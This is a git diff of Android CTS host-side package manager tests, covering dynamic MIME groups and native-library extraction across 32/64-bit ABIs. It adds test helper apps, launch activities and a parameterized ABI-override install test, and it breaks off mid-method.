diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
index 802d13c..5241aa2 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_bothGroups.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -38,15 +39,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
index adc93cf..f9ddf44 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_firstGroup.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -37,15 +38,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
index e93a3d5..53e4273 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_update_secondGroup.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,17 +16,19 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.update">
+     package="android.dynamicmime.update">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_first"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.update.FILTER_INFO_HOOK_group_second"/>
@@ -37,15 +38,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.update" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.update">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index 971cdc6..fb63a62 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -24,7 +24,6 @@
         "compatibility-device-util-axt",
         "CtsDynamicMimeCommon",
         "hamcrest-library",
-        "android-support-test",
         "androidx.test.uiautomator_uiautomator",
     ],
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml b/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
index d31dcf3..102a800 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/dynamicmime/test/AndroidManifest.xml
@@ -16,11 +16,12 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.dynamicmime.testapp">
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+     package="android.dynamicmime.testapp">
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.testapp.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +29,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.testapp.FILTER_INFO_HOOK_group_second"/>
@@ -37,7 +39,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -47,7 +50,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsAndTypeActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsAndTypeActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -59,8 +63,7 @@
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.testapp">
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.testapp">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/Android.bp b/hostsidetests/packagemanager/extractnativelibs/Android.bp
index 2aeebc5..ef3bcd9 100644
--- a/hostsidetests/packagemanager/extractnativelibs/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/Android.bp
@@ -29,6 +29,7 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+        "cts-host-utils",
     ],
     java_resource_dirs: ["res"],
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
index f80aa9e..cd9ea49 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
@@ -26,11 +26,52 @@
         "-Wno-unused-parameter",
     ],
     header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
     sdk_version: "current",
 }
 
 android_test_helper_app {
-    name: "CtsExtractNativeLibsAppFalse",
+    name: "CtsExtractNativeLibsAppFalse32",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_no_extract/src/**/*.java"],
+    manifest: "app_no_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: true,
+    compile_multilib: "32",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppFalse64",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_no_extract/src/**/*.java"],
+    manifest: "app_no_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: true,
+    compile_multilib: "64",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppFalseBoth",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     srcs: ["app_no_extract/src/**/*.java"],
@@ -49,7 +90,47 @@
 }
 
 android_test_helper_app {
-    name: "CtsExtractNativeLibsAppTrue",
+    name: "CtsExtractNativeLibsAppTrue32",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_extract/src/**/*.java"],
+    manifest: "app_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: false,
+    compile_multilib: "32",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppTrue64",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["app_extract/src/**/*.java"],
+    manifest: "app_extract/AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libtest_extract_native_libs",
+    ],
+    static_libs: ["androidx.test.rules"],
+    use_embedded_native_libs: false,
+    compile_multilib: "64",
+    v4_signature: true,
+}
+
+android_test_helper_app {
+    name: "CtsExtractNativeLibsAppTrueBoth",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     srcs: ["app_extract/src/**/*.java"],
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
index 27214b8..a82412a 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/AndroidManifest.xml
@@ -15,13 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.extractnativelibs.app.extract" >
-    <application android:extractNativeLibs="true" >
-        <uses-library android:name="android.test.runner" />
+          package="com.android.cts.extractnativelibs.app.extract">
+    <application android:extractNativeLibs="true">
+        <uses-library android:name="android.test.runner"/>
+        <!-- starting activity as a separate process, otherwise it'll always be 64-bit -->
+        <activity android:name=".MainActivity"
+                  android:exported="true"
+                  android:process=":NewProcess">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.extractnativelibs.app.extract" />
+        android:targetPackage="com.android.cts.extractnativelibs.app.extract"/>
 
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
index 28367b2..4755b10 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.extractnativelibs.app.extract;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -24,17 +29,49 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /** Device test for extractNativeLibs=true */
 @RunWith(AndroidJUnit4.class)
 public class ExtractNativeLibsTrueDeviceTest {
+    private final Context mContext =  InstrumentationRegistry.getContext();
 
     /** Test that the native lib dir exists and has an native lib file extracted in it. */
     @Test
-    public void testNativeLibsExtracted() throws Exception {
-        File nativeLibDir = new File(
-                InstrumentationRegistry.getContext().getApplicationInfo().nativeLibraryDir);
+    public void testNativeLibsExtracted() {
+        final String expectedSubDirArg = "expectedSubDir";
+        String expectedSubDir = InstrumentationRegistry.getArguments()
+                .getString(expectedSubDirArg);
+        Assert.assertNotNull(expectedSubDir);
+        File nativeLibDir = new File(mContext.getApplicationInfo().nativeLibraryDir);
+        Assert.assertTrue(nativeLibDir.exists());
         Assert.assertTrue(nativeLibDir.isDirectory());
+        Assert.assertTrue(nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
         Assert.assertEquals(1, nativeLibDir.list().length);
     }
+
+    /** Test that the native lib is loaded when the activity is launched. */
+    @Test
+    public void testNativeLibsLoaded() throws Exception {
+        final CountDownLatch loaded = new CountDownLatch(1);
+        IntentFilter filter = new IntentFilter(mContext.getPackageName() + ".NativeLibLoaded");
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                loaded.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, filter);
+        launchActivity();
+        Assert.assertTrue("Native lib not loaded", loaded.await(
+                30, TimeUnit.SECONDS));
+    }
+
+    private void launchActivity() {
+        Intent launchIntent = mContext.getPackageManager().getLaunchIntentForPackage(
+                mContext.getPackageName());
+        Assert.assertNotNull(launchIntent);
+        mContext.startActivity(launchIntent);
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java
new file mode 100644
index 0000000..fbcc783
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/MainActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.extractnativelibs.app.extract;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Launch activity for test app
+ */
+public class MainActivity extends Activity {
+    static {
+        System.loadLibrary("test_extract_native_libs");
+    }
+
+    @Override
+    public void onCreate(Bundle savedOnstanceState) {
+        // The native lib should have been loaded already
+        Intent intent = new Intent(
+                getApplicationContext().getPackageName() + ".NativeLibLoaded");
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
index ee1f8f5..d5d1e04 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/AndroidManifest.xml
@@ -15,12 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.extractnativelibs.app.noextract" >
-    <application android:extractNativeLibs="false" >
-      <uses-library android:name="android.test.runner" />
+          package="com.android.cts.extractnativelibs.app.noextract">
+    <application android:extractNativeLibs="false">
+        <uses-library android:name="android.test.runner"/>
+        <!-- starting activity as a separate process, otherwise it'll always be 64-bit -->
+        <activity android:name=".MainActivity"
+                  android:exported="true"
+                  android:process=":NewProcess">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.extractnativelibs.app.noextract" />
+        android:targetPackage="com.android.cts.extractnativelibs.app.noextract"/>
 </manifest>
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
index a02c327..77a93b4 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/ExtractNativeLibsFalseDeviceTest.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.extractnativelibs.app.noextract;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -24,17 +29,44 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /** Device test for extractNativeLibs=false */
 @RunWith(AndroidJUnit4.class)
 public class ExtractNativeLibsFalseDeviceTest {
+    private final Context mContext =  InstrumentationRegistry.getContext();
 
     /** Test that the native lib dir exists but has no native lib file in it. */
     @Test
-    public void testNativeLibsNotExtracted() throws Exception {
+    public void testNativeLibsNotExtracted() {
         File nativeLibDir = new File(
                 InstrumentationRegistry.getContext().getApplicationInfo().nativeLibraryDir);
         Assert.assertTrue(nativeLibDir.isDirectory());
         Assert.assertEquals(0, nativeLibDir.list().length);
     }
+
+    /** Test that the native lib is loaded when the activity is launched. */
+    @Test
+    public void testNativeLibsLoaded() throws Exception {
+        final CountDownLatch loaded = new CountDownLatch(1);
+        IntentFilter filter = new IntentFilter(mContext.getPackageName() + ".NativeLibLoaded");
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                loaded.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver, filter);
+        launchActivity();
+        Assert.assertTrue("Native lib not loaded", loaded.await(
+                30, TimeUnit.SECONDS));
+    }
+
+    private void launchActivity() {
+        Intent launchIntent = mContext.getPackageManager().getLaunchIntentForPackage(
+                mContext.getPackageName());
+        Assert.assertNotNull(launchIntent);
+        mContext.startActivity(launchIntent);
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java
new file mode 100644
index 0000000..9200260
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_no_extract/src/com/android/cts/extractnativelibs/app/noextract/MainActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.extractnativelibs.app.noextract;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Launch activity for test app
+ */
+public class MainActivity extends Activity {
+    static {
+        System.loadLibrary("test_extract_native_libs");
+    }
+
+    @Override
+    public void onCreate(Bundle savedOnstanceState) {
+        // The native lib should have been loaded already
+        Intent intent = new Intent(
+                getApplicationContext().getPackageName() + ".NativeLibLoaded");
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp b/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
index 52876f5..f925c5856 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/jni/native.cpp
@@ -16,10 +16,14 @@
 
 #include <jni.h>
 
+#include <android/log.h>
+#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "NativeLibOutput", __VA_ARGS__)
+
 jint JNI_OnLoad(JavaVM *vm, void *reserved) {
     JNIEnv* env = nullptr;
     if (vm->GetEnv((void**)&env, JNI_VERSION_1_6) != JNI_OK) {
         return JNI_ERR;
     }
+    LOG("libtest_extract_native_libs is loaded");
     return JNI_VERSION_1_6;
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
new file mode 100644
index 0000000..3e33b43
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Optional;
+import java.util.Set;
+
+/**
+ * Host test to update test apps with different ABIs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestAbiOverride extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mFirstAbi;
+
+    @Parameter(3)
+    public String mSecondAbi;
+
+    @Override
+    public void setUp() throws Exception {
+        final String deviceAbi = getDeviceAbi();
+        // Only run these tests if device supports both 32-bit and 64-bit
+        assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        // Only run these tests for supported ABIs
+        assumeTrue(AbiUtils.getBaseArchForAbi(deviceAbi).equals(
+                AbiUtils.getBaseArchForAbi(mFirstAbi)));
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        super.setUp();
+    }
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy,
+     * and apps of an abi override updating to another abi override
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mFirstAbi={2}, mSecondAbi={3}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        // We don't know the supported ABIs ahead of the time, here we enumerate all possible ones
+        // and filter unsupported ones during tests
+        final Set<String> supportedAbis = AbiUtils.getAbisSupportedByCompatibility();
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbi : supportedAbis) {
+                    for (String secondAbi : supportedAbis) {
+                        if (!firstAbi.equals(secondAbi)
+                                && AbiUtils.getBaseArchForAbi(firstAbi).equals(
+                                        AbiUtils.getBaseArchForAbi(secondAbi))) {
+                            params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                                    firstAbi, secondAbi});
+                        }
+                    }
+                    params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                            firstAbi, "-"});
+                }
+            }
+        }
+        return params;
+    }
+
+    /**
+     * Test update installs with abi override and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testAbiOverrideAndRunSuccess() throws Exception {
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        // First install with one abi override
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, "Both"), mFirstAbi);
+        assertTrue(isPackageInstalled(testPackageName));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertEquals(mFirstAbi, getPackageAbi(testPackageName));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, AbiUtils.getBitness(mFirstAbi)));
+        // Then update with another abi override
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, "Both"), mSecondAbi);
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        final String expectedAbi;
+        if (mSecondAbi.equals("-")) {
+            expectedAbi = getExpectedLibAbi("Both");
+        } else {
+            expectedAbi = mSecondAbi;
+        }
+        assertEquals(expectedAbi, getPackageAbi(testPackageName));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, AbiUtils.getBitness(expectedAbi)));
+    }
+
+    private String getPackageAbi(String testPackageName) throws Exception {
+        String commandResult = getDevice().executeShellCommand("pm dump " + testPackageName);
+        Optional<String> maybePrimaryCpuAbiStr = Arrays.stream(commandResult.split("\\r?\\n"))
+                .filter(line -> line.contains("primaryCpuAbi"))
+                .findFirst();
+        assertTrue(maybePrimaryCpuAbiStr.isPresent());
